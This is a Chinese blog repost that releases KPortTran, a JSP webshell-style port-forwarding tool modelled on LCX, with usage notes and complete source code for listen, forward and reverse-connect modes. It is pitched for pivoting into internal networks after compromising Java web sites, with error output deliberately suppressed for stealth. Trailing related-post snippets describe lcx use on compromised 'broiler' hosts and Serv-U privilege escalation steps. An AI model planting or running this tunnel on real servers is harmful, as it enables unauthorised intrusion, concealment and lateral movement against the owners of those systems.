JSP版LCX:端口转发神器 KPortTran

By | 10月30日
Advertisement

最近接触内网很多,渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。

在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交~



用法如下 KPortTran Usage:



参数

xxx.com/KPortTran.jsp? lip = local ip / 本地ip //一般为内网主机IP lp = local port / 本地端口 //一般为内网主机端口 rip = remote ip / 远程ip //一般为外网连接者IP,或者内网其他主机 rp = remote port / 远程端口 //一般为外网连接者端口 lp2 = local port2 / 本地端口2 //本地监听转发时的第二个端口 m = mode / 运行模式 //合法的值有:listen tran slave三种



运行模式

m = listen 需要参数:lp、lp2 该模式下,会在本地监听两个端口,相互转发数据 m = tran 需要参数:lip、lp、rip、rp 该模式为正向转发下,会在本地的lip上监听lp端口,当有连接建立时,再连接rip的rp端口。并将lip的lp上接收到的数据发向rip主机的rp端口。 m = slave 需要的参数: lip、lp、rip、rp 该模式为反向转发,会分别连接主机lip的lp端口 和 主机rip的rp端口。并转发两者数据,可用于内网反连。



注意事项: 某些server上使用时,可能由于编码问题会报错,请根据实际情况,更改代码首行的编码设置。 为了隐蔽,没有设置错误信息返回。如果不能执行,请检查一下参数。

测试截图: JSP版LCX:端口转发神器 KPortTran
JSP版LCX:端口转发神器 KPortTran
JSP版LCX:端口转发神器 KPortTran

<%@page pageEncoding="GBK"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.net.*"%>
<%
/*code by KingX*/
class KPortTran {
    public void listen(String port1, String port2) {
        ServerSocket listenServerSocket = null;
        ServerSocket outServerSocket = null;
        try {
            listenServerSocket = new ServerSocket(Integer.parseInt(port1));
            outServerSocket = new ServerSocket(Integer.parseInt(port2));
        } catch (NumberFormatException e) {

        } catch (IOException e) {
        }
        Socket listenSocket = null;
        Socket outSocket = null;
        try {
            while (true) {
                listenSocket = listenServerSocket.accept();
                outSocket = outServerSocket.accept();
                new tranThread(outSocket, listenSocket).start();
                new tranThread(listenSocket, outSocket).start();
                Thread.sleep(200);
            }
        } catch (Exception e) {
      }
    }

    public void slave(String targetIP, String port1, String srcIP, String port2) throws IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p2, dest, p1, true);
    }

    public void tran(String srcIP, String port1, String targetIP, String port2)
            throws NumberFormatException, IOException {
        InetAddress src = InetAddress.getByName(srcIP);
        InetAddress dest = InetAddress.getByName(targetIP);
        int p1 = Integer.parseInt(port1);
        int p2 = Integer.parseInt(port2);
        new Server(src, p1, dest, p2, false);
    }
class tranThread extends Thread {
    Socket in;
    Socket out;
    InputStream is;
    OutputStream os;
    public tranThread(Socket in, Socket out) throws IOException {
        this.is = in.getInputStream();
        this.os = out.getOutputStream();
        this.in = in;
        this.out = out;
    }

    private void closeSocket() {
        try {
            is.close();
            os.close();
            in.close();
            out.close();
        } catch (IOException e) {
        }
    }
    @Override
    public void run() {
        super.run();
        byte[] buffer = new byte[4096];
        int len = -1;
        try {
            while (true) {
                if (in.isClosed() || out.isClosed()|| (len = is.read(buffer, 0, buffer.length)) == -1) {
                    break;
                } else {
                    os.write(buffer, 0, len);
                    os.flush();
                }
            }
        } catch (IOException e) {
            closeSocket();
        } finally {
            closeSocket();
        }
    }
}

class Server extends Thread {
    InetAddress src;
    InetAddress dest;
    int p1, p2;
    boolean reverse = false;

    public Server(InetAddress srcIP, int srcPort, InetAddress targetIP,
            int targetPort, boolean flag) {
        this.src = srcIP;
        this.dest = targetIP;
        this.p1 = srcPort;
        this.p2 = targetPort;
        this.reverse = flag;
        start();
    }

    @Override
    public void run() {
        super.run();
        if (reverse) {
            try {
                Socket s = new Socket(src, p1);
                Socket s2 = new Socket(dest, p2);
                new tranThread(s, s2).start();
                new tranThread(s2, s).start();

                while (true) {
                    if (s2.isClosed() || s.isClosed()) {
                        if (s2.isClosed()) {
                            s2 = new Socket(dest, p2);
                        }
                        if (s.isClosed()) {
                            s = new Socket(src, p1);
                        }
                        new tranThread(s, s2).start();
                        new tranThread(s2, s).start();
                    }
                    Thread.sleep(1000);
                }
            } catch (IOException e) {
            } catch (InterruptedException e) {
            }

        } else {
            ServerSocket ss;
            try {
                ss = new ServerSocket(p1, 5, src);

                while (true) {
                    Socket s = ss.accept();
                    Socket s2 = new Socket(dest, p2);
                    new tranThread(s, s2).start();
                    new tranThread(s2, s).start();
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}
}
%>
<%
final String localIP = request.getParameter("lip");
final String localPort = request.getParameter("lp");
final String localPort2 = request.getParameter("lp2");
final String remoteIP =request.getParameter("rip");
final String remotePort =request.getParameter("rp");
final String mode =request.getParameter("m");

KPortTran pt = new KPortTran();
if (mode.equals("tran")) {
    pt.tran(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("slave")) {
    pt.slave(localIP, localPort, remoteIP , remotePort);
}
if (mode.equals("listen")) {
    pt.listen(localPort, localPort2);
}

%>

本文转载至,http://www.2cto.com/Article/201310/254016.html

Similar Posts:

  • ssh端口转发 (转载)

    https://www.ibm.com/developerworks/cn/linux/l-cn-sshforward/ 第一部分 概述 当你在咖啡馆享受免费 WiFi 的时候,有没有想到可能有人正在窃取你的密码及隐私信息?当你发现实验室的防火墙阻止了你的网络应用端口,是不是有苦难言?来看看 SSH 的端口转发功能能给我们带来什么好处吧! 端口转发概述 让我们先来了解一下端口转发的概念吧.我们知道,SSH 会自动加密和解密所有 SSH 客户端与服务端之间的网络数据.但是,SSH 还同时提供了一个

  • linux配置本地tomcat应用80端口转发

    场景: 本地部署tomcat到8080端口,并期望本地访问80端口来访问本地tomcat. 结论: 使用linux下的iptables工具实现端口转发功能. 具体为 现取得root权限 执行iptables -t nat -I OUTPUT -p tcp -d 127.0.0.1 --dport 80 -j REDIRECT --to-port 8080 目前在重启前均生效.要想永久生效,需要继续执行(ubuntu环境):iptables-save > /etc/iptables.rules 新

  • LCX 端口重定向本质以及在linux下的实现

    lcx.exe 经常给内网肉鸡丢3389后门以及内网渗透的大都很熟悉,平时使用都是照猫画虎用,不明白其中本质,今天找到源码,详细阐释下本质吧. 其中涉及到2条TCP连接已经2条端口转发,可能比较饶人,慢慢看吧. 平时大家都这样用 首先在自己主机上 lcx -listen p1 p2 ,意思是在主机上监听 P1 和 P2 端口, 然后在鸡上 lcx -slave 主机IP p1 肉鸡IP p3 ,意思是连接 主机IP:p1 并把所有通信数据转发到 肉鸡IP:p3 然后用相关服务的客户端连接 主机I

  • serv-u提权原理探究与JSP版提权木马编写

    转载请注明出处:http://write.blog.csdn.net/postedit/7025588 今天在搞一个aspx的网站时,看到aspxspy这个木马中集成的serv-u提权功能,于是就有了研究一下serv-u提权原理的想法.先来看看aspxspy的相关提权代码是怎么写的: public void lDODR() { string JGGg=string.Empty; string user=dNohJ.Value; string pass=NMd.Value; int port=In

  • serv-u端口转发提权 -寒龙网出品

    1.在服务器上cmd 执行: lcx -slave 我的IP 5000 127.0.0.1 43958(有可能被改) 2. 在本机运行 lcx -listen 5000 21 (lcx地址要写对) 3. 打开本地的serv u 在IP上填入127.0.0.1 帐号:LocalAdministrator 密码:#[email protected]$ak#.lk;[email protected] (密码帐号有可能改 自己下文件看密码) 此时的链接过程是本机连接21端口----转发往本机5000端口-----管道连接至远程机5000端口------转发至远

  • LCX端口转发源码分析

          lcx.exe算是端口转发工具中普及率特别高的吧.当然,最近也出了好些Web端口转发工具,这个待后续再分析一下.我从网上下载了一个lcx的源码片段,结合源码谈谈自己的认识.       lcx工作原理是使不同端口之间形成一个回路,这样就可以进行端口转发.常用于外网连接内网3389端口.具体使用方法网上一堆.       这个程序主要采用Socket来实现,有几个比较重要的函数:bind2bind.bind2conn.conn2conn及transmitdata.transmitdat

  • SecutrCRTt 连接VirtualBox 中的Ubuntu -端口转发

    端口转发: 设置>网络>端口转发 端口转发: 子系统地址通过在Linux系统总使用ifconfig查看: 还需要在linux主机上安装sshd sudo apt-get install openssh-server 然后在 crt 上进行设置连接: 既可以连接成功.

  • SSH 端口转发之图解

    绑定本地端口 既然SSH可以传送数据,那么我们可以让那些不加密的网络连接,全部改走SSH连接,从而提高安全性. 假定我们要让8080端口的数据,都通过SSH传向远程主机,命令就这样写: $ ssh -D 1080 [email protected] SSH会建立一个socket,去监听本地的1080端口.一旦有数据传向那个端口,就自动把它转移到SSH连接上面,发往远程主机.可以想象,如果1080端口原来是一个不加密端口,现在将变成一个加密端口. 本地端口转发 有时,绑定本地端口还不够,还必须指定数据传送的目标主

  • Ubuntu 端口转发

    在某云购买了几台机器,其中,一台ubuntu,拥有外网IP与带宽,另有一台windows,无外网带宽. 求最简单的方法使得可以将[email protected]通过ubuntu的机器进行转发.同时不考虑teamview等方案. --cut-- yaxin在2014-10-17 08:00:33回答到: 端口转发必须要windows机器的网关为Ubuntu: 你的解决方案可以是: 在Ubuntu上安装vpn,通过vpn来实现连接内网的windows 在Ubuntu上搭建一个socks代理(跟vpn差不多)

  • VMware虚拟机偶尔无法实现拖曳功能的解决办法以及Vmware虚拟机NAT连接模式进行端口转发

    VMware虚拟机版本:9.0.1 build-894247 主机OS:WIN8 对于VMware虚拟机偶尔无法实现拖曳功能,一般有用的解决办法就是重启主机,其实就是重启VMware服务. cmd--services.msc,找到VMware服务 新建restart_vmsvc.bat @echo stop VMware Services net stop VMwareHostd net stop VMAuthdService net stop VMnetDHCP net stop "VMwar

Tags: